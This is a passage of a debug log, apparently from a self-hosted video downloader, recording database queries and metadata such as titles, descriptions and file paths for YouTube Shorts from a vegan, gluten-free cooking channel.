everyone says it is? I've made mine vegan and gluten-free for my diet and you can make it in whatever way works best for your diet.\n\nYou've gotta try making this recipe. It's quick and easy and so delicious. Check out the full recipe video and let me know how you liked it.\n\nFull Video: https://youtu.be/0x08omFb7wA\n\nDon't forget to subscribe for more plant-based, gluten free recipe videos. Thanks for all your support! Janelle", "duration" => 13, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-06-20 Viral Tik Tok Baked Feta Pasta Reaction Video #shorts/Viral Tik Tok Baked Feta Pasta Reaction Video #shorts [_lD4hyFQGkw].NA", "id" => "_lD4hyFQGkw", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/_lD4hyFQGkw", "playlist_index" => 363, "timestamp" => 1655743440, "title" => "Viral Tik Tok Baked Feta Pasta Reaction Video #shorts", "upload_date" => "20220620"} 20:29:08.160 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1004.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:29:08.162 [debug] QUERY OK source="sources" db=1.5ms idle=1005.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:08.166 [debug] QUERY OK source="media_items" db=4.0ms idle=1005.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-20 16:44:00Z], 1] 20:29:08.171 [debug] QUERY OK source="media_items" db=3.5ms idle=1009.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["My reaction to the viral tik tok baked feta pasta. Is it really as good as everyone says it is? I've made mine vegan and gluten-free for my diet and you can make it in whatever way works best for your diet.\n\nYou've gotta try making this recipe. It's quick and easy and so delicious. Check out the full recipe video and let me know how you liked it.\n\nFull Video: https://youtu.be/0x08omFb7wA\n\nDon't forget to subscribe for more plant-based, gluten free recipe videos. Thanks for all your support! Janelle", "Viral Tik Tok Baked Feta Pasta Reaction Video #shorts", "1cc83942-b7ec-479c-b8b5-cadb9f0e8261", 1, [], 13, false, "_lD4hyFQGkw", "https://www.youtube.com/shorts/_lD4hyFQGkw", 363, "/downloads/downloads/alec/Steamy Vegan/2022-06-20 Viral Tik Tok Baked Feta Pasta Reaction Video #shorts/Viral Tik Tok Baked Feta Pasta Reaction Video #shorts [_lD4hyFQGkw].NA", false, false, true, 1, ~U[2022-06-20 16:44:00Z], ~U[2026-03-22 03:29:08Z], ~U[2026-03-22 03:29:08Z], "My reaction to the viral tik tok baked feta pasta. Is it really as good as everyone says it is? I've made mine vegan and gluten-free for my diet and you can make it in whatever way works best for your diet.\n\nYou've gotta try making this recipe. It's quick and easy and so delicious. Check out the full recipe video and let me know how you liked it.\n\nFull Video: https://youtu.be/0x08omFb7wA\n\nDon't forget to subscribe for more plant-based, gluten free recipe videos. Thanks for all your support! Janelle", "Viral Tik Tok Baked Feta Pasta Reaction Video #shorts", 1, 13, false, "_lD4hyFQGkw", "https://www.youtube.com/shorts/_lD4hyFQGkw", "/downloads/downloads/alec/Steamy Vegan/2022-06-20 Viral Tik Tok Baked Feta Pasta Reaction Video #shorts/Viral Tik Tok Baked Feta Pasta Reaction Video #shorts [_lD4hyFQGkw].NA", true, ~U[2022-06-20 16:44:00Z]] 20:29:08.171 [debug] QUERY OK source="sources" db=0.4ms idle=752.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:08.172 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.5ms idle=11.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:29:08.174 [debug] QUERY OK source="media_items" db=0.7ms queue=0.1ms idle=11.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [752] 20:29:08.175 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Just gonna drool over these vegan nachos... #veganfood \n\nChorizo -- pickled jalapeños -- cheddar -- green onions -- olives -- yellow peppers -- hella salty tortillas\n\nwhat do you put on YOUR nachos?", "duration" => 8, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-06-20 Nacho ordinary (vegan) nachos 🤤 #shorts/Nacho ordinary (vegan) nachos 🤤 #shorts [1CwJKvIMxa0].NA", "id" => "1CwJKvIMxa0", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/1CwJKvIMxa0", "playlist_index" => 364, "timestamp" => 1655685001, "title" => "Nacho ordinary (vegan) nachos 🤤 #shorts", "upload_date" => "20220620"} 20:29:08.177 [debug] QUERY OK source="sources" db=1.7ms idle=9.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:29:08.178 [debug] QUERY OK source="sources" db=0.2ms idle=6.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:08.180 [debug] QUERY OK source="media_items" db=1.9ms idle=6.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-20 00:30:01Z], 1] 20:29:08.181 [debug] QUERY OK source="media_items" db=0.8ms idle=7.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Just gonna drool over these vegan nachos... #veganfood \n\nChorizo -- pickled jalapeños -- cheddar -- green onions -- olives -- yellow peppers -- hella salty tortillas\n\nwhat do you put on YOUR nachos?", "Nacho ordinary (vegan) nachos 🤤 #shorts", "7161f8f6-86fc-4971-9982-49db034a12ed", 1, [], 8, false, "1CwJKvIMxa0", "https://www.youtube.com/shorts/1CwJKvIMxa0", 364, "/downloads/downloads/alec/Steamy Vegan/2022-06-20 Nacho ordinary (vegan) nachos 🤤 #shorts/Nacho ordinary (vegan) nachos 🤤 #shorts [1CwJKvIMxa0].NA", false, false, true, 2, ~U[2022-06-20 00:30:01Z], ~U[2026-03-22 03:29:08Z], ~U[2026-03-22 03:29:08Z], "Just gonna drool over these vegan nachos... #veganfood \n\nChorizo -- pickled jalapeños -- cheddar -- green onions -- olives -- yellow peppers -- hella salty tortillas\n\nwhat do you put on YOUR nachos?", "Nacho ordinary (vegan) nachos 🤤 #shorts", 1, 8, false, "1CwJKvIMxa0", "https://www.youtube.com/shorts/1CwJKvIMxa0", "/downloads/downloads/alec/Steamy Vegan/2022-06-20 Nacho ordinary (vegan) nachos 🤤 #shorts/Nacho ordinary (vegan) nachos 🤤 #shorts [1CwJKvIMxa0].NA", true, ~U[2022-06-20 00:30:01Z]] 20:29:08.182 [debug] QUERY OK source="sources" db=0.3ms idle=7.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:08.182 [debug] QUERY OK source="media_profiles" db=0.2ms idle=4.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:29:08.183 [debug] QUERY OK source="media_items" db=0.4ms idle=4.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [753] 20:29:08.183 [debug] Current batch of media processed. Will check again in 1000ms 20:29:09.185 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Eating plant-based has never been easier or more delicious! With boatloads of new plant-based alternatives to your fave dairy & animal products, changing your diet to improve your health (and the health of our planet!) has NEVER been easier.\n\nPlus with rising food costs (especially meat) it's truly a no-brainer to switch to more plant-based meals to help your wallet, and the Earth. \n\nEat more veggies!", "duration" => 15, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-06-18 This is your sign… 🪧 to EAT 🌶 MORE 🍅 VEGGIES! 🥑/This is your sign… 🪧 to EAT 🌶 MORE 🍅 VEGGIES! 🥑 [z9Fth5iI7GU].NA", "id" => "z9Fth5iI7GU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/z9Fth5iI7GU", "playlist_index" => 365, "timestamp" => 1655595006, "title" => "This is your sign… 🪧 to EAT 🌶 MORE 🍅 VEGGIES! 🥑", "upload_date" => "20220618"} 20:29:09.186 [debug] QUERY OK source="sources" db=0.2ms queue=0.1ms idle=1004.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:29:09.187 [debug] QUERY OK source="sources" db=0.6ms idle=1004.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:09.189 [debug] QUERY OK source="media_items" db=1.9ms idle=1004.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-18 23:30:06Z], 1] 20:29:09.190 [debug] QUERY OK source="media_items" db=0.7ms idle=1006.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Eating plant-based has never been easier or more delicious! With boatloads of new plant-based alternatives to your fave dairy & animal products, changing your diet to improve your health (and the health of our planet!) has NEVER been easier.\n\nPlus with rising food costs (especially meat) it's truly a no-brainer to switch to more plant-based meals to help your wallet, and the Earth. \n\nEat more veggies!", "This is your sign… 🪧 to EAT 🌶 MORE 🍅 VEGGIES! 🥑", "30e0947f-77bc-4963-9351-ce6561dcf4e8", 1, [], 15, false, "z9Fth5iI7GU", "https://www.youtube.com/shorts/z9Fth5iI7GU", 365, "/downloads/downloads/alec/Steamy Vegan/2022-06-18 This is your sign… 🪧 to EAT 🌶 MORE 🍅 VEGGIES! 🥑/This is your sign… 🪧 to EAT 🌶 MORE 🍅 VEGGIES! 🥑 [z9Fth5iI7GU].NA", false, false, true, 0, ~U[2022-06-18 23:30:06Z], ~U[2026-03-22 03:29:09Z], ~U[2026-03-22 03:29:09Z], "Eating plant-based has never been easier or more delicious! With boatloads of new plant-based alternatives to your fave dairy & animal products, changing your diet to improve your health (and the health of our planet!) has NEVER been easier.\n\nPlus with rising food costs (especially meat) it's truly a no-brainer to switch to more plant-based meals to help your wallet, and the Earth. \n\nEat more veggies!", "This is your sign… 🪧 to EAT 🌶 MORE 🍅 VEGGIES! 🥑", 1, 15, false, "z9Fth5iI7GU", "https://www.youtube.com/shorts/z9Fth5iI7GU", "/downloads/downloads/alec/Steamy Vegan/2022-06-18 This is your sign… 🪧 to EAT 🌶 MORE 🍅 VEGGIES! 🥑/This is your sign… 🪧 to EAT 🌶 MORE 🍅 VEGGIES! 🥑 [z9Fth5iI7GU].NA", true, ~U[2022-06-18 23:30:06Z]] 20:29:09.191 [debug] QUERY OK source="sources" db=0.8ms idle=770.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:09.192 [debug] QUERY OK source="media_profiles" db=0.8ms idle=5.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:29:09.193 [debug] QUERY OK source="media_items" db=0.6ms idle=5.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [754] 20:29:09.193 [debug] Current batch of media processed. Will check again in 1000ms 20:29:10.194 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "4 ways to make your macaroni and cheese epic!!! I've made my mac and cheeses gluten free and vegan and I absolutely love all 4 of these recipes.\n\nCheck out the full video here. It's our 2nd episode of the cheat day challenge so you get to see Brad and I go head to head with our mac and cheeses and you get to choose your winner...\n\nFull video: https://youtu.be/mrnDt0w-gno\n\nDon't forget to subscribe to my channel for more daily content about being on a gluten free and vegan diet. Thanks for your support!\nJanelle", "duration" => 14, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-06-18 Greatest of All Time Macaroni and Cheese/Greatest of All Time Macaroni and Cheese [XdszBEvbAMQ].NA", "id" => "XdszBEvbAMQ", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/XdszBEvbAMQ", "playlist_index" => 366, "timestamp" => 1655575210, "title" => "Greatest of All Time Macaroni and Cheese", "upload_date" => "20220618"} 20:29:10.196 [debug] QUERY OK source="sources" db=1.2ms queue=0.2ms idle=1004.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:29:10.197 [debug] QUERY OK source="sources" db=0.6ms idle=1005.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:10.200 [debug] QUERY OK source="media_items" db=2.4ms idle=1005.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-18 18:00:10Z], 1] 20:29:10.201 [debug] QUERY OK source="media_items" db=0.9ms idle=1007.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["4 ways to make your macaroni and cheese epic!!! I've made my mac and cheeses gluten free and vegan and I absolutely love all 4 of these recipes.\n\nCheck out the full video here. It's our 2nd episode of the cheat day challenge so you get to see Brad and I go head to head with our mac and cheeses and you get to choose your winner...\n\nFull video: https://youtu.be/mrnDt0w-gno\n\nDon't forget to subscribe to my channel for more daily content about being on a gluten free and vegan diet. Thanks for your support!\nJanelle", "Greatest of All Time Macaroni and Cheese", "f59307c8-37ac-4429-8e76-76dcfc3b212e", 1, [], 14, false, "XdszBEvbAMQ", "https://www.youtube.com/shorts/XdszBEvbAMQ", 366, "/downloads/downloads/alec/Steamy Vegan/2022-06-18 Greatest of All Time Macaroni and Cheese/Greatest of All Time Macaroni and Cheese [XdszBEvbAMQ].NA", false, false, true, 1, ~U[2022-06-18 18:00:10Z], ~U[2026-03-22 03:29:10Z], ~U[2026-03-22 03:29:10Z], "4 ways to make your macaroni and cheese epic!!! I've made my mac and cheeses gluten free and vegan and I absolutely love all 4 of these recipes.\n\nCheck out the full video here. It's our 2nd episode of the cheat day challenge so you get to see Brad and I go head to head with our mac and cheeses and you get to choose your winner...\n\nFull video: https://youtu.be/mrnDt0w-gno\n\nDon't forget to subscribe to my channel for more daily content about being on a gluten free and vegan diet. Thanks for your support!\nJanelle", "Greatest of All Time Macaroni and Cheese", 1, 14, false, "XdszBEvbAMQ", "https://www.youtube.com/shorts/XdszBEvbAMQ", "/downloads/downloads/alec/Steamy Vegan/2022-06-18 Greatest of All Time Macaroni and Cheese/Greatest of All Time Macaroni and Cheese [XdszBEvbAMQ].NA", true, ~U[2022-06-18 18:00:10Z]] 20:29:10.202 [debug] QUERY OK source="sources" db=0.7ms idle=779.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:10.202 [debug] QUERY OK source="media_profiles" db=0.1ms idle=6.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:29:10.204 [debug] QUERY OK source="media_items" db=0.5ms idle=6.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [755] 20:29:10.204 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Getting your daily intake of vitamin P has been shown to increase happiness by up to 100% 😊\n\nCatch my other bomb-diggity pastas here: https://www.youtube.com/playlist?list=PLf7woCLAh2s_zMY_ilvwpv-EvRNMbkHG3", "duration" => 15, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-06-18 Get your 